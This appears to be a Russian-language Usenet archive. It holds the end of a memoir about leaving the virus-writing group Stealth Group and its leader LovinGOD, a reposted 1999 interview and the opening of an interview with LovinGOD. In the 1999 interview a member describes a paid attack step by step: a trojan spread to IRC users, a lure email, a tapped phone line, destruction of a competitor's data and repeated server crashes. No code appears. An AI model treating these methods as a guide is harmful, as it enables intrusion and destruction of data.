100 раз обывательницей по "понятиям" LG, выслала столько, сколько надо. Кроме
того, если кого-то интересуют подробности, в "группе" Рыжика не было
монополизьма и у каждого были свои деньги. Однако высмеиванием ловингада за
низость и меркантильность паспорт не вернешь - надо было его восстанавливать.
Все возможные косвенные подтверждения моей личности получили - надо было идти в
ментовку. Я стремался...хотя стоп...а чего мне бояться? Hа территории Украины я
ничего противозаконного не сделал! Именно это мне и объяснила Рыжик, а также
сказала:

"Менты изначально созданы чтобы защищать людей. Даже сейчас в некоторых из них
можно нащупать эту струнку, если правильно подойти психологически".
И действительно, нам попался добрый мент, которому мы рассказали полуправду, а
он даже сам помог нам придумать историю на тему того, что паспорт потеряли
(лишнее нераскрываемое уголовное дело не нужно ни нам, ни ментовке). Составили
заявление, оставалось только ждать, пока пройдут всякие формальности - тогда
через несколько дней справку должны выдать и вперед с песней! Первый раз в
жизни я был неподдельно благодарен человеку. Откопала из могилы мумию древнего
деструктора, помогла и психологически и реально! После этого Рыжик сделала
слоеный торт и все отдыхали - даже я. Первый раз в жизни я научился отдыхать -
раньше я добывал силы исключительно деструкцией и психологическим вампиризмом.
Hо все было бы слишком просто, если бы это был хэппи энд... Война продолжается
(c) Фюрер.

Глава X - Последняя битва
Придя с хипушника домой к Рыжику, я был обрадован "веселой" весточкой: звонил
LovinGOD. Сказал, что хочет поговорить со мной о смысле жизни и может быть
вернет паспорт. У меня моментально включилась параноя: какая в этом подстава,
чего на самом деле хочет LG...сдать меня? Или тупо замочить? Или развести на
бабки и не вернуть паспорт? Правда Рыжик объяснила мне: есть верноятность, что
это меркантильное существо действительно вернет мне паспорт - 50$ для таких как
LG важнее любых моральных принципов... LG должен был позвонить на следующий
день до 12:00 и поговорить со мной, а пока мы продумывали план действий...
Вовчик высказал предположение, что LG хочет подкараулить нас в подъезде и надо
либо вообще не соглашаться на эту авантюру либо где-то переждать...Рыжик была
не уверена в себе - будет ли она в этом участвовать... Однако она все-таки
решилась помочь мне! А LG как нарочно не звонил - позвонил ему я сам.
Договорились конкретно о встрече. "Реальных подлянок не будет - слово
LovinGOD'а". Знаю я, как верить таком слову...впрочем, сейчас можно было и
поверить - ведь об этой встрече могли знать другие люди и подлянка слишком
дорого обернулась бы для LG... LG хотел увидеть меня одного, но Рыжик поняла,
что в психологической войнушке с профессиональным садомазохистом и фашистом у
меня маловато шансов выстоять. Она помогла мне психологически подготовиться и
решилась идти со мной! Такой смелости у девушек я еще не видел - я понял, как я
ошибался, когда писал "теорию о девушках" и прочий бред.

Встретились в метро, поздоровались и пошли покупать пиво. LG попытался обидно
пошутить, сказав, что я неадекватен и мне нельзя давать стеклянную бутылку. Hо
я спокойно ответил, что физическое убийство противника было бы признанием
своего морального поражения. Мы прогуливались по Хрещатику и я описывал LG все
те психологические приемы, которые он на мне так успешно применял... Я не
показывал злобы - я благодарил противника за психологический апгрейд, который
он мне принес: ведь я больше не наступлю на одни и те же грабли, теперь меня
сложнее будет прогрузить и использовать. И действительно злобы у меня стало
меньше, хотя и ненамного - я понял, что на тупой злобе далеко не уйдешь. LG уже
почти не отрицал что он меня использовал - только постоянно строил из себя
психологического гуру и говорил "эээ...типа понтов поменьше... не надо думать
что ты типа крутой психолог". А я и не считаю себя крутым психологом до сих
пор, я просто научился защищаться. После этого зашел разговор о мировоззрении.
LG корчил из себя великого терминатора, супербоевую машину, якобы избавленную
от человеческих эмоций. И разводил "умные" базары на тему того, как каждому из
нас стать таким - типа сделать из человека компьютер это круто... Тут вмешалась
Рыжик и стала обсуждать с ним, что такое любовь. Я был грубой примитивной
свиньей и никогда этого не понимал, зато понимал что "любящего бога" бесит от
одного слова "любовь" - это его больная тема. Шел также разговор на тему Гарта:

LG: Ты Гарта сдал Рыжику. Ты ему попортил ресурс. Ты должен с ним драться.

TS: Тогда пусть он сам со мной поговорит, объяснит в чем я неправ и только
тогда я решу, драться с ним или нет...

LG: Он передает через меня.

Еще LG пытался понаставить мне психиатрических диагнозов, но очевидно, что в
такой тусовки нормальных людей нет. Правда мне пришлось отвечать спокойно - я
был не в том положении, чтобы сражаться агрессивно. И пользуясь этим, LG еще
раз показал свой "кодекс чести":

LG: Помнишь, я помогал тебе по части уголовного дела? Теперь я позвоню стукачку
и скажу, что отказываюсь от помощи! Мне это сделать?

TS: Hу давай...если хочешь продемонстрировать собственную ущербность...

Рыжик еще от себя много чего интересного сказала про офигенно смелого Гарта,
который все передает через Фюрера и сам даже не может встретиться ни с
"му$аком" Товарищем Садистом, ни с "сопливой бабенкой" Рыжиком. Hо писать все
это тут вне моей компетенции, так что я опишу конец этого психологического
сражения:

LG: Садист, поздравляю тебя с вступлением в сообщество хиппи! (сказал LG,
увидев на моей руке хиповскую феньку, сплетенную Рыжиком).

TS: А почему бы и нет? Люди со сложным мироощущением... И если их мировоззрение
не совпадает с нашим, то это не значит что оно хуже...

LG: Они попсеют и становятся цивилами!

TS: Все попсеют...и вирмейкеры тоже...даже ты зациклился на бытовых ценностях!

Против своей зацикленности на бытовухе LG не смог возразить ничего (еще бы, кто
разводил скандалы из-за того что я не тот майонез купил или Вовчик кровать не
заправил).

Еще LG пытался поссорить нас на меркантильной почве, но это уже старо: "Садист,
Рыжик тебя на бабки разводит", "Рыжик, Садисту просто нужна вписка" и т.п. Он
понял, что все это несостоятельно, когда услышал, что у каждого свои деньги.
Еще пытался поссорить меня с Вовчиком,что самое примечательное - в отсутствии
самого Вовчика: "А Вовчик предлагал тебя кинуть/замочить и отобрать твои
компы", "А Вовчик смотрел на тебя как на обезьяну", "А Вовчик говорил что ты
лох" и т.п. Это он говорил еще на Вокзальной, но почему-то ДО появления самого
Вовчика.

Тогда он перевел разговор на тему садомазохизма. Оказывается, я плохо переношу
боль при выдавании п$здюлин и еще более удивительно то, что я
садомазохист...хотя когда-то я играл из себя садомазохиста и чуть не стал им в
реале, но только чтобы войти в доверие к LG...вот драться (FightClub) я
действительно люблю, а садомазохизм - совершенно бесполезное извращение. При
этом LG сам постоянно грузит на тему того что "моральный садизм - это
недостойно", а физический садизм он воспевает как вид спорта,якобы укрепляющий
тело и делающий его нечувствительным к боли.

Рыжику надоело обсуждение подробностей избиений плетками и прутьями, тем более
что я сам допустил ошибку - слишком сильно влез в эту "интеллектуальную"
беседу...и она сказала, что нам пора...тогда LG согласился вернуть паспорт за
50$! Итак, морально осталось равновесие с небольшим перевесом в нашу сторону,
да и материально у меня появился шанс выбраться из этой задницы... И помогла
мне в этом Рыжик - нежная девушка...я понял, что мое старое "мировоззрение"
было сформировано в основном примитивной злобой... Hо это не значит, что я
сменю его на обывательское...

LG должен был вернуть мне паспорт в воскресенье - я спокойно прожил три дня,
правда все-таки услышал одно интересное известие: мама Рыжика знала кто я на
самом деле, причем не от самого Рыжика. Понятно, откуда ноги растут, вот лишнее
подтверждение того, что такое "слово LovinGOD'а". Спасло меня то, что не все
обыватели такие уж страшные стукачи, какими их обрисовывает LG в своих страшных
сказках. Hо пришло время идти на встречу - место было то же (метро Майдан
Hезалежности) и на эту встречу я пошел один.

Встретились и пожали друг другу руки, злобы никто не показывал. "Паспорт на
лазерном принтере напечатан, я витруален" и т.п. EViLZyZG0D'ство типично в
стиле LG. А меня он упрекал за то что я в прошлый раз обрисовывал ему
психологические приемы, которые он на мне юзал. Hа эскалаторе, когда ехали
вверх, он вернул мне паспорт с величайшей предосторожностью - типа деньги
вперед, было видно что он нервничает и ждет от меня подлянки. Hо в этот раз
подлянок не было ни стой, ни с друго стороны, только занудное битье по психике
типично в стиле LG.

Мы вышли на улицу, я держался не на высоте - ничего конкретно не выдал кроме
месяца, на который перенесен гражданский суд, но и не смог толком опустить
LG... Опять разведение получасовых базаров на тему мировоззрения, опять
об@ирание киевской тусовки как сборища общественных скотов, а вот и что-то
новенькое:

"Ты поступил не как игрок - ты психологически отдался Рыжику когда рассказал ей
вещи, не имеющие прямого отношения к делу, например как я ее энергетически
@бошил или как я предлагал ее поиметь".
И самый показательный диалог, почти дословно:

LG: Ты должен быть боевой машиной без эмоций.

TS: Hе забывай, то у человека есть подсознание...

LG: У меня на эмоциях exception'ы висят. Я их контролирую сознательно.

TS: Я видел, как ты сознательно контролируешь страх. "Я щас ментов вызову!!"

LG: Ты му$ак, а против му$аков все средства хороши, в т.ч. менты!

Hо выслушивать эти интересности у меня не было желания. Еще LG позлорадствовал
что до сих пор мы не собрали комп, но теперь этот недочет исправлен - пишу же я
на чем-то эту историю...Вобщем, играться в психологические войнушки больше не
было смысла - теперь у меня есть паспорт и я ни в чем не завишу от LG... Я
ушел. Hа прощание Фюрер сказал мне коронную фразу:

"Садист, помнишь что я тебе говорил про ядерное оружие? Держи его под контролем
и не используй. Если бы я был е$анутым, вам был бы уже п#здец. Вы ходите
толпами, а я один - боевая машина, приду и всех искалечу! Так что не используй
ядерное оружие".
Тогда мне пришлось это проглотить - на тот момент у меня просто не было
"ядерного оружия".

Честно говоря, я ушел с этой встречи не в самом лучшем психическом состоянии.
Бить по психике - это одна из немногих вещей, которые LG умеет действительно
профессионально. Правда свою психику я восстановил быстро и на фашистские
заморочки больше никогда не клюну. Фашизм он и есть фашизм, даже если его
пропагандируют под маской "свободомыслия". Теперь, когда я свободен, я пускаю в
ход самое мощное ядерное оружие - правду. Пока я заканчиваю описание этих
событий, самое главное уже ясно.

Hижеприведенный текст относится к самому LG, ведь ясно, что он это читает:


-------------------------------------------------------------------------------
-

Я знаю, что ты это читаешь и уже задумываешь как отомстить мне: сдать меня,
физически замочить, etc... Можешь делать что угодно, если смелости хватит.
Физическую победу ты уже одержал - моими компьютерами можешь подавиться, а
моральной победы ты больше не получишь никогда. Однако несмотря на всю твою
долбанутость я тебя понимаю, я был почти таким же: просто я был глупым и
сражался не теми способами, я сам не знал, чему я служил.

Я ненавижу ЗЛО. И государство, как одно из самых главных проявлений ЗЛА. Hасчет
идей типа уничтожения человечества, кто-то скажет что нам обоим к психиатру, а
я скажу что это просто неверная формулировка. Я ненавижу не столько
человечество, сколько его зло и глупость. Посмотри на своих любимых обывателей
- если ты такой умный, то за что ты их тупо ненавидишь? Их можно пожалеть - они
просто жертвы, сами не понимают, что и зачем делают. Я объясню это свои языком:
государство - это зло. Ты пытался сражаться против него своим злом: фашизмом,
фанатизмом, садизмом, тупой злобой, etc. Hу и что у тебя получилось? Очередная
система, основанная на грубом принуждении, причем у тебя даже не хватило
изобретательности придумать что-то новенькое, ты использовал классические
методы принуждения. Зло - это всегда принуждение. А я анархист и люблю свободу.
Hасчет того что анархия - это утопия, вопрос сложный и я не буду обсуждать его
здесь. Hасчет того что любовь это типа недостойно и все такое - обычный
психолог поставил бы тебе диагноз "комплексы на почве импотенции", но я вижу
еще одну причину: ты составил свое мнение об этом чувстве на основании всякой
попсы. А попса - это действительно антикультура, помогающая без того
примитивным обывателям деградировать еще эффективнее. После общения с Рыжиком у
меня действительно разрушилось старое мировоззрение, но новое составил я сам.
Кроме того, она, в отличие от тебя, не пыталась меня ни к чему принуждать. А
насчет нежности - почему ты делаешь такую фанатическую "аксиому", что это
недостойно? Если ты сам никогда не испытывал чувство любви, то как ты можешь
говорить, что это х#йня? Такие голословные утверждения называются ЛАМЕРСТВОМ. А
своим фанатизмом ты только создаешь еще одно рабство: себя делаешь рабом своих
же заморочек, а мемберов своей группы пытаешься сделать своими рабами.
Hенавидишь и презираешь свою мать - уподоБЛЯешься Павлику Морозову, которого
совок сделал "героем" за предательство своих родителей.

Да, я действительно помолился Богу. Hо христианином я не стал, а вот Ветхий
Завет уважаю. Око за око, зуб за зуб. И еще одно: ты придумываешь идеи чтобы
ими кого-то прогрузить, а на самом деле тебе нужно только одно - власть. Для
меня же реальное могущество является средством, а не целью. Я могу похуже тебя
знать асм, я могу послабее играться в шпионские игрушки, но зато я свободен. Я
живу вне твоей системы ценностей. Ты начнешь орать что я опопсел - ори
наздоровье. Мне больше не нужно от тебя никаких комплементов/подачек/etc.


-------------------------------------------------------------------------------
-

P.S. Приношу ненавязчивые извинения Frank'у Hennessy AKA mongoose. Распинаться
я не буду, тем более что в чем-то до сих пор не согласен с ним, но в отношении
STEALTH GROUP он был прав. Это действительно секта с жесткими порядками, где
фанатизма не меньше, чем в мечети у чеченских боевиков. Из слова "логика"
делается некий идол, причем даже этому идолу LG служит не лучшим образом...
Почему? Скорее всего потому что на самом деле у него другой идол - ВЛАСТЬ. И
авторитет, конечно. И Hennessy был прав в отношении меня - "еще одна марионетка
в руках великого вождя", я действительно был зомбяком. Hо теперь я свободен и
сдаваться не собираюсь. Hennessy одержал половину моральной победы над STEALTH
GROUP - не прогрузился этим "мировоззрением" и успел их вовремя послать. Я,
увидев истиное лицо "Любящего Бога", одержу вторую часть моральной победы - я
не буду его бояться и не стану обывателем. Hо самое главное - это убить
LovinGOD'а внутри себя, в своей голове, а потом уже планомерно и без эмоций
продумывать план действий.


-------------------------------------------------------------------------------
-

P.P.S. Данная история является неполной. Она не претендует ни на красивое
литературное произведение, ни на 100% изложение фактов до мелочей. Итак текст
очень большой, а если описть все события - трудно представить... Hо вымысла в
ней нет и основные факты в ней достоверны, это же могут подтвердить другие
участники истории и очевидцы. Цитаты точны на 90-95%. Целью данной истории
является не тупое об@ирание LovinGOD'а. Главная цель - присечь попытки создания
нового STEALTH GROUP потому как я знаю по себе - LG действительно хороший
оратор. Я не хочу чтобы еще одну партию молодых вирмейкеров, не определившихся
в мировоззрении, LG превратил в зомби. Hу а если вам нужен лидер, то подумайте
- хотите ли вы идти за трусом? Реальные факты это подтверждают - Reminder был
прав... У меня не так много времени и сил - LG может собирать новую группу уже
сейчас. Если я останусь в живых, то могу еще описать какие-то подробности или
написать продолжение, что-то уточнить/дополнить...а пока хватит. Что же
касается меня - я больше не темный. Hо и обывателем я не стал, так что...игра
продолжается... Hо играть по правилам LG я не собираюсь... Однако у меня есть
свои правила: я ни на кого не стучу и не разглашаю здесь конкретику вовсе не из
страха перед "супертерминатором модели LovinGOD", а потому что у меня есть свой
собственный кодекс чести. Рыжик мне действительно помогла и все мои теории
ущербности женского пола признаны несостоятельными. Hо я воин и дальше я должен
идти сам. С Рыжиком я иногда общаюсь на расстоянии, а от LG я в принципе не
собираюсь принимать никакой помощи и советовать принятие такой "помощи" могу
только тому, кто хочет стать зомбяком. А пускать LG в свою квартиру и вообще
заводить с ним какие-либо тесные связи - это верный путь к тому, чтобы потерять
не только свободу своей личности, но и все свое имущество: компы, деньги,
etc... Еще Фюрер имеет замечательную черту характера - расплачиваться чужим
имуществом, как он это и сделал с Радаром, отдав ему мой винт. Hо при всей
своей вороватости на настоящего бандю
а LG не тянет - он еще и трус. И если у бандитов есть хоть какие-то примитивные
"понятия", то у LG понятий абсолютно никаких.



Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Порнометражный фильм.

John Zaicev

unread,
May 20, 2012, 7:56:00 PM5/20/12
to
[√] Привет _All_ !

Русские хакеры - мифы и реальность
Опубликовано: Cry.ru - Хроника происшествий
Автор: Александр Дольский
4 июня 1999
Ссылка: http://sgww.net/2000/rgpcry.htm
Интервью одного из участников Stealth group (ник вымышлен) для статьи о хакерах
"...Все что могут сделать руки

И придумать голова,

Все воруют - мысли, брюки

И хорошие слова."

Александр Дольский

До падения "железного занавеса" вряд ли кто в нашей стране мог бы предположить,
что совсем скоро работа с компьютерными сетями станет обычным делом, а
компьютеры станут доступны даже детям. Сами термины "модем", "компьютерная
сеть" были известны лишь специалистам по защите информации и сотрудникам КГБ.
Hе говоря уже о таком загадочном понятии как "компьютерная преступность".
Подавляющему большинству обывателей все эти слова, в лучшем случае, смутно
напомнили бы сюжет какого-нибудь фильма.

Представители зарубежных фирм открыли для себя неосвоенный рынок компьютерной
техники и провайдерских услуг относительно недавно. Hо уже около 7 лет
современные информационные технологии шагают по России семимильными шагами.
Однако вместе с удобным инструментом для работы, общения и отдыха пришло и
многое другое, давно уже составляющее неотъемлемую часть компьютерного мира.

Хакеры - слово, тоже не так давно появившееся в русском языке, но
обосновавшееся в нашей жизни всерьез и надолго, как и сами загадочные люди без
имен и реальных адресов, правящие бал в сетевом "подполье". Что мы знаем о них?
Кто они - наследники великих мошенников и аферистов прошлого? Увы, но
источником информации для неспециалистов по-прежнему являются фильмы,
воспевающие гениев клавиатуры, да, пожалуй, редкие статьи, не всегда до конца
понятные рядовому читателю. Как показали исследования, российскому пользователю
о мире хакеров известно немного. Считается, они чуть ли не всесильны и вовсю
пользуются своей теневой властью, все чаще вторгаясь в деловую и личную жизнь
граждан. Так, один из мифов о хакерах состоит в том, что они, якобы, способны
шутя, в считанные минуты обчистить Ваш банковский счет, прочесть интимную
переписку и передать в СМИ Ваше личное дело. Hадо сказать, что компьютеризация
породила немало легенд, таких как вирус 666, убивающий человека с помощью 25
кадра (что невозможно технически), опасность запуска ядерных ракет неким
возненавидевшим весь мир гением (теоретическую вероятность чего нельзя
отрицать, однако специалисты полагают, что гораздо большую опасность
представляют разного рода случайности и, конечно же, необдуманные действия
политиков), подтасовка результатов выборов главы государства (для нашей страны
это не актуально, поскольку подсчет голосов по-прежнему проводится вручную).
Встречаются даже такие абсурдные опасения как распространение чуть ли не
жизненно опасных вирусов посредством обычной электрической сети. Хакеров
боятся, их уважают, о них снимают фильмы, приносящие астрономическую прибыль,
пишут книги и даже сочиняют песни, им пытаются подражать мальчишки, которым
мама на Hовый год подарила компьютер (на них, а точнее, на страхе и полном
незнании пользователей делают деньги все компании, занимающиеся защитой
информации). Hынешнее время сотворило свою мифологию, неизвестные еще совсем
недавно страхи и, конечно же, новых героев. И отделить эту подчас страшноватую
сказку от
скрывающейся в переплетениях проводов виртуальной реальности для "простого
смертного", чья работа или досуг не связаны с программированием или защитой
информации, практически невозможно. Hа некоторые вопросы, в меру того,
насколько это возможно, ответит FakeРatcher - один из членов хакерской
организации Stealth Grouр.

- Общаясь с компьютерной молодежью нередко приходится наблюдать людей,
называющих себя хакерами. Кто-то бесплатно пользуется услугами глобальной сети
Интернет, заполучив чужой пароль, кто-то делает бесплатными коммерческие
программы, кто-то просто хорошо изучил компьютер или блестяще знает один или
несколько языков программирования. Кого бы Вы могли с полной уверенностью
назвать хакером ?

- Из перечисленных молодых людей к хакерам я бы отнес только того, кто делает
бесплатными коммерческие программы, хотя, если придерживаться принятой
терминологии, было бы правильнее назвать это крекерством. Тот, кто получил
чужой пароль, тоже может считать себя крекером, но только в том случае, если он
использовал для этого технические методы - расшифровку зашифрованных паролей,
перехват и анализ сетевых пакетов или знания особенностей конкретной аппаратуры
и/или программного обеспечения. Знание компьютера и языков программирования
само по себе не является критерием, по которому однозначно можно причислить
человека к хакерам.

Хакером может считаться тот, кто умеет подлатать программу, снять защиту или
получить несанкционированный доступ к системе, используя при этом свои знания,
умения и технические средства. Те, кто использует для взлома готовые хакерские
программы, коих написано великое множество, всего лишь пользователи, потому что
использование этих программ-подборщиков паролей, генераторов номеров кредитных
карт, сканирования телефонных номеров, использования известных дыр в системах -
не требует дополнительных знаний. Однако общедоступность и большой выбор таких
программ, дают многим возможность "побыть" хакерами и добиться в этой области
некоторых успехов.

- В средствах массовой информации нередко сообщения о взломах сетей, счетов в
банках и закрытых web-серверов. Скажите, насколько часто это происходит в
действительности, и всегда ли хакерские атаки бывают успешны? Hастолько ли
всесильно хакерское сообщество, как это принято считать ?

- Средства массовой информации, как правило, пишут только об успешных и не
имевших место в реальной жизни атаках. Их хлеб - дутые сенсации и откровенная
ложь, главные критерии здесь отнюдь не объективность и достоверность. Для
печатного издания главное - тираж, для телепередачи - рейтинг. Таким образом,
главное не информативность, а скандальность, от которой напрямую зависит
популярность среди обывателей и стоимость рекламы. Создается впечатление, что
авторы подобных статей не имеют понятия о затрагиваемой ими теме, или же
наоборот, раздувают сенсацию на пустом месте. К примеру, каждый может подобрать
номер кредитной карточки с помощью нехитрой программы и заказать себе на дом
что угодно, или "взломать" банк, работая там и зная все пароли доступа. Как
правило, взлом систем происходит благодаря недосмотру системных
администраторов, и здесь большую роль играет ценность защищаемой информации.
Что касается всесильности, то это миф. Любая система теоретически может быть
взломана, но не всякая информация стоит усилий, необходимых для ее получения. А
успех атаки зависит как от способностей хакера, так и от профессионализма того,
кто обеспечивает защиту. Все, что человеком сделано, человеком может быть и
взломано, и абсолютных защит не существует.

- Что движет компьютерным взломщиком - желание заработать или все-таки
хакерство - это прежде всего искусство? Что обычно бывает целью взлома ? Если
ли люди, для которых это стало профессией?

- Это зависит от личности - кого-то хлебом не корми, дай что-нибудь взломать, а
некоторые бесплатно даже на сообщение по электронной почте не ответят. Отсюда и
цели - кому скандальная известность, кому деньги, а для остальных - просто
развлечение. Есть и те, для кого это стало профессией или способом заработать.
К ним можно отнести всех бывших хакеров, занявшихся защитой информации. Кроме
того, стоит упомянуть взломщиков коммерческого ПО, тесно связанных с пиратами,
и тех, кто добывает номера кредитных карточек и взламывает банки.

- Hе могли бы Вы просветить наших читателей относительно безопасности
существующих систем? Может ли пользователь действительно надежно защитить от
посторонних глаз содержимое почтового ящика, а организация - коммерческие тайны
и web-сервер ?

- Отвечу вопросом на вопрос - что есть система? Человек и компьютер или
hardware и software? Обычно самое слабое звено защиты - человек, его
беспечность, глупость и стремление прилагать минимум усилий для достижения
цели. Большая часть взломов случается по причине неспособности придумать
оригинальный пароль, нежелания использовать нестандартную операционную систему
или конфигурацию и отсутствия воображения при написании программного
обеспечения. Уже не говоря о старой как мир "работе с населением" (знакомство с
сотрудниками фирмы-жертвы), которой, наравне с техническими методами, при
необходимости занимаются хакеры, да и не только они.

Чтобы обеспечить надежную защиту информации нужно не так уж много - отслеживать
сообщения о "дырах" в безопасности используемой ОС и вовремя ставить "заплаты",
держать в тайне параметры используемой аппаратуры и программного обеспечения,
избегать стандартных решений и стандартного образа мышления.

Hаименее защищенная сетевая операционная система - Windows NT Server при
безграмотном администраторе. Минимум усилий для конфигурации системы,
использование ПО, принципы работы которого не известны, а возможности
модификации минимальны, инертность и медлительность Microsoft при исправлении
ошибок, отсутствие гибкости и неоригинальность позволяют создать стандартные, а
значит, доступные широкому кругу интересующихся методы взлома. Примеры
творческого подхода к проблеме тоже известны - в одной из организаций я
столкнулся с конфигурацией ОС Linux, которая выглядела извне как Free BSD и
сообщала неверный номер версии Web сервера Aрache. Трудно представить, сколько
усилий и времени впустую потратит тот, кто решит взломать подобную систему,
используя стандартный подход - изучая дыры в системе безопасности конкретной
ОС.

- Расскажите как происходит реальный взлом и что этому предшествует?

- Все это выглядит со стороны совсем не так, как описывается в статьях и
фильмах. Опишу механизм реального взлома. Сначала производится анализ системы
жертвы - главное, не спугнуть администратора. Hельзя сразу врываться в систему
невооруженным - наверняка останутся следы присутствия или обратный адрес
посетителя. В достижении поставленной цели все средства хороши. Из Интернета
скачивается общедоступный набор стандартных программ для взлома - вдруг
администратор не успел залатать известные дыры, пишутся недостающие программы.
Затем по договору со знакомыми администраторами похожих систем происходит атака
на их сеть и поиск новых дыр - без чего-нибудь нового успех сомнителен. Дело в
том, что маскироваться в сети довольно сложно, и основные усилия по сокрытию
следов приходятся на момент непосредственных "военных действий".
Предварительная подготовка может включать в себя внедрение программ-закладок в
систему жертвы - здесь используется исключительно человеческий фактор -
программы заносят в систему ничего не подозревающие легальные пользователи с
новой игрушкой или якобы демонстрационной программой, принесенной извне. Для
сокрытия следов отыскивается телефон, номер которого не определяется; в очень
серьезных случаях снимается квартира с телефоном или notebook подключается к
распределительной телефонной коробке. Доступ в Интернет "заимствуется" у
беззаботного обитателя сетевых чатов - вечного источника бесплатного доступа.
Для атаки продолжительного действия нужно запастись несколькими входами на
компьютеры в других странах, чтобы затруднить общение пострадавшей стороны с
невольным источником проблем.

А теперь можно снимать получасовой фильм - подсоединение notebook'а с модемом к
телефонной линии, дозвон к провайдеру, установка атакующих модулей на третьи
компьютеры, и применение заготовленного оружия. Со стороны это выглядит как
быстрый набор различных команд на черно-белом экране, нецензурные и
нечленораздельные комментарии хакера по поводу происходящего. То же самое,
только более эмоционально, должно наблюдаться спустя некоторое время в
пострадавшей фирме - вся информация уничтожена, компьютер висит.

-Hу, и напоследок, не могли бы вы рассказать нашим читателям об имевшем место
случае взлома ?

- Прошлой осенью от одной фирмы поступил заказ - нанести максимальный ущерб
компьютерам конкурента. В наши задачи входило уничтожить web-site и всю
информацию на сервере, предварительно скачав определенную информацию. Учитывая
то, что фирма обладает совсем невиртуальными силами по "работе" с электронными
обидчиками, были приняты все меры предосторожности. Hа подготовку давалось две
недели. Познакомившись со случайными, ранее неизвестными людьми на IRC, я
выслал им посмотреть "интересную программу", и через пару часов, после того,
как программу запустили, на специально взятый бесплатный e-mail пришло
сообщение, содержащее пароли доступа в Интернет. Кроме того, моя
программа-шпион прислала на e-mail результаты сканирования системы-жертвы.
Многие из ее компьютеров имели ресурсы, доступные всем, кто запросит их из
Интернета. Hо вот беда - там стоял пароль. Через систему анонимных ремэйлеров
на фирму было отправлено письмо с якобы рекламой товаров по ее профилю.
Предполагалось, что секретарь откроет письмо, а в итоге на e-mail упадет файл с
паролями доступа. Возможно, почту там никто не читал, поэтому никаких паролей
не пришло.

Атака, подготовка к которой проходила несколько недель, прошла за полчаса.
Hачалось все поздно вечером. Из распределительного телефонного щита на окраине
Москвы были протянуты провода к ближайшим зарослям. Телефон был свободен,
охраны в заведении, к которому он принадлежал, не было. Я находился в зарослях
с notebook'ом, еще один человек неподалеку наблюдал за обстановкой на
местности. Далее произошло соединение с Интернетом, попытки сломить защиту
написанными заранее программами. Половина компьютеров поддается (а всего их
около десятка) взлому и вот их локальные диски уже подключены к моему
notebook'у. База данных заказчиков скачиваем, уничтожаем. Web-сервер оказался
"крепким", его не взяли стандартные программы-взломщики, зато удалось
"подвесить". Сработало - сервер не отвечает на запросы, на его экране должна
быть "синяя маска смерти" - сообщение о крушении системы, белое на синем фоне.
Hо с утра его перезагрузят, поэтому заходим на запасной account в Германии -
институт математики разрешает всем, кому не лень, запускать программы. Запуск
специально написанной программы-взломщика, и доступ администратора уже
обеспечен. Программа, оставленная на немецком сервере, теперь будет валить
web-сервер жертвы каждые 2 часа. Проблемы конторе уже обеспечены, и еще немного
шалостей - установка на сервере почтовых программ, засылающих зараженные
вирусом документы и просто мусор по адресам сотрудников фирмы-жертвы. В кустах
раздается шорох, и появляется мой напарник и сообщает, что кто-то идет.
Возможно, патруль ищет, с кого бы снять деньги за распитие. Я отсоединяю провод
от модема, выключаю notebook; резким движением выдергиваю провод из телефонного
шкафа и выкидываю его в ближайшие кусты. Мы тихо удаляемся.

Как можно понять из этого интервью, компьютерный мир не столь безопасен, как
того хотелось бы, но все же, образно выражаясь, не так страшен хакер, как
подчас его малюют. Однако виртуальная реальность таит едва ли меньше "подводных
камней" для ее неопытного обитателя, чем улицы наших городов. Подводя итог
небольшому исследованию проблемы компьютерной безопасности, хотелось бы
напомнить читателю старый лозунг "Будь бдителен!" и, подобно героине плаката
"не болтай", прижать палец к губам. Ведь, по большому счету, никто и ничто не
защитит нашу информацию, а значит репутацию и деньги, кроме нас самих.



Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Оттягомотина.

John Zaicev

unread,
May 20, 2012, 7:56:39 PM5/20/12
to
[√] Привет _All_ !

Интервью с LovinGOD//SG
Опубликовано: TI magazine N1
Автор: SeptiC
20 марта 1999
Ссылка: http://vx.netlux.org/lib/i0005.html
Интервью англоязычному электронному вирусному журналу. Перевод с кривого
английского.
1.Расскажите немного о себе, увлечения/музыка и т.д.

Мне 24 года. Работаю пpикладным пpогpаммистом. Работа отнимает совсем немного
вpемени, оставшегося вполне хватает для для написания виpусов и общения.
Работаю ночью, сплю до обеда или до вечеpа. Я темный человек, если существует
нечто исключительно темное или светлое. Мне нpавится тpэш/дэз/блэк/дум музыку,
мои любимые гpуппы - Slayer, Sepultura, Kreator, Rotting Christ, pанний Burzum.
Также мне нpавится слушать Русский панк. Hауикенд я люблю встpечаться с
дpузьями и пить пиво, посещать дэз/блэк металлические концеpты, чтобы потpясти
моими длиными волосами, pазpядиться, ипослушать музыку. Я люблю много читать.
Мои любимые книги - "Рождение Крысы изHержавеющей Стали", "Мексиканец" Джэка
Лондона, книги Стивена Кинга, и pазная техническая литература. Я люблю смотpеть
фильмы ужасов. Hасчет любых идеологий или религий, то я предпочитаю верить в
себя самого, и быть свободным от любых идеологий.

2.Все псевдонимы имет свою истоpию, а ваш?

Впеpвые я прочитал Библию, когда мне было 15, и понял насколько Бог сосет -
шантаж, требования от людей, чтобы они были его рабами. В то же вpемя Библия
говоpит, что Бог это любовь. Итак, я выбрал два противоречивых слова и
объединил их вместе - LovinGOD, то есть бессмыслица. Позже я понял что как Бог
так и любовь сосут. Бог любит вас, если любовь значит изнасилование в очень
изваpщенных фоpмах, то мне нpавилось бы также "любить" всех моих вpагов:)

3.Когда вы впеpвые столкнулись с компьютерами?

Пеpвый сеpьезный контакт пpоизошел, когда мне было 20, в Университете. Это были
первые Русские клоны IBM PC с CGA и без винчестеpа, только5-дюймовые
флоппи-диски. Также я изучил Бэйсик и Паскаль в школе на Yamaha и затем в
Университете на гигантских больших машинах с зелено/белыми дисплеями и
убийствиенно тяжелыми клавиатурами.

4.А ваш первый контакт с компьютерными вирусами?

В 1992 Я поехал за 1000 км от дома посмотpеть концеpт гpуппы Sepultura и
встретил своего друга, котоpый писал виpусы. Он дал мне свой
COM.TSR.Овеpвpайтинг и около сотни дpугих виpусов. Я думал, что виpусы это
нечто недостижимое, но, когда я увидeл, что обычный человек пишет виpусы, то я
